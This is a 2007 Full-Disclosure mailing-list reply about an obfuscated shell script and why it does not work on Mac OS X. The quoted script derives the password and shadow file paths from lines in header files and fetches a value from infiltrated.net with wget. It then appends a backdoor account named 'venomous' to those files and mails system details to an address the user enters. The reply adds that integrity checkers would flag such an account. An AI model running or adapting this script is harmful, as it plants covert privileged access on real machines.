On 13 May 07, at 19:43, Valdis.Kletnieks@vt.edu wrote:
On Mon, 14 May 2007 08:47:39 +0800, Just1n T1mberlake said:
Confirmed Macosx is not vulnerable to this.
Not this variant, anyhow. Note that if you go digging around, you can
probably find other places to seed $happy, $days, $who, and $what
from.
happy=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
days=`awk 'NR==74 {gsub(/,/,"");print $8}' /usr/include/sysexits.h`
guitar=`wget -qO - http://www.infiltrated.net/guitar|sed -n '1p'`
sed -n '1p' $happy|awk -F ":"
'BEGIN{OFS=":"}{$1="venomous"}1{$2=""}2' >> $days
sed -n '1p' $days|sed 's/[^:]*:/venomous:/'|awk -vguitar=$guitar -F
":" 'BEGIN{OFS=":"}{$2='guitar'}2' >> $happy
what=`sed -n '58p' /usr/include/sysexits.h |awk '{print $5}'`
who=`sed -n '60p' /usr/include/linux/wireless.h |awk 'gsub(/,/,
""){print $4" -a"}'`
echo "Enter your email address" ; read ans ; where=$ans
$who | $what $where
One carefully coded 'find ... | xargs egrep' will get you the
needed info
to produce a version that will work on OSX.
Even if you manage to figure out a way to generate the string "/etc/
passwd", though, writing to that won't won't do you any good:
/etc/passwd:
# Note that this file is consulted when the system is running in
single-user
# mode. At other times this information is handled by one or more of:
# lookupd DirectoryServices
# By default, lookupd gets information from NetInfo, so this file will
# not be consulted unless you have changed lookupd's configuration.
# This file is used while in single user mode.
You'd have to write something that'd execute niutil.
More to the point, though, even if the presence of this script
doesn't trigger integrity checkers (yet), the presence of a non-root
UID 0 account *definitely* will. No amount of obfuscation will change
this. Same goes for suid binaries appearing out of nowhere. I don't
know if changes to the sudoers file are tracked by most tools yet,
but I have no doubt that the appearance of a rootkit that maintained
access via sudoers would change that pretty quickly.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
